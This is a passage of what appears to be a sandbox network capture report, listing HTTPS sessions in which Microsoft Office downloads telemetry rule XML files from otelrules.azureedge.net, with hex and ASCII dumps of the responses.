G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:57 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:57 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:57 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4927bbd2-c01e-000b-53cc-45e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210857Z-1746fd949bdkw94lhC1EWRxuz400000004v000000000r1q6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:57 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:57 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:58 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: d1823508-801e-008c-16d3-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210858Z-1746fd949bdjrnwqhC1EWRpg2800000004x0000000002ac5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:58 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:57 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:57 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210857Z-r1cf579d7789trgthC1EWRkkfc000000013g000000007q82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:58 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:57 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:58 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210858Z-r1cf579d778kr8xrhC1EWRfkun00000001000000000003xs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:58 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:59 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:59 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dea1083a-301e-0051-14cb-4538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210859Z-1746fd949bd6zq92hC1EWRry4800000004qg00000000hnx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:00 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:59 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:00 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:59 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a85144f8-201e-0033-7f03-48b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210859Z-r1cf579d778w59f9hC1EWRze6w00000000qg000000002wf6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:00 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:59 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:00 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210900Z-r1cf579d778zvkpnhC1EWRv23g00000000ng0000000050dt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:59 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 5ce939f7-901e-00ac-7ec7-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210900Z-1746fd949bd6zq92hC1EWRry4800000004qg00000000hnxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:00 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:00 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210900Z-r1cf579d778qlpkrhC1EWRpfc800000000zg00000000g64m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:00 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:01 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:02 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210902Z-r1cf579d778t5c2lhC1EWRce3w000000012g000000009yrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:02 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:01 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:02 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 0b7a0bcb-d01e-0082-68c5-45e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210902Z-1746fd949bd2cq7chC1EWRnx9g00000004f0000000003em0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:02 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:02 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:02 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 76609676-a01e-0070-74cc-45573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210902Z-1746fd949bd4w8sthC1EWR700400000004d000000000thkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
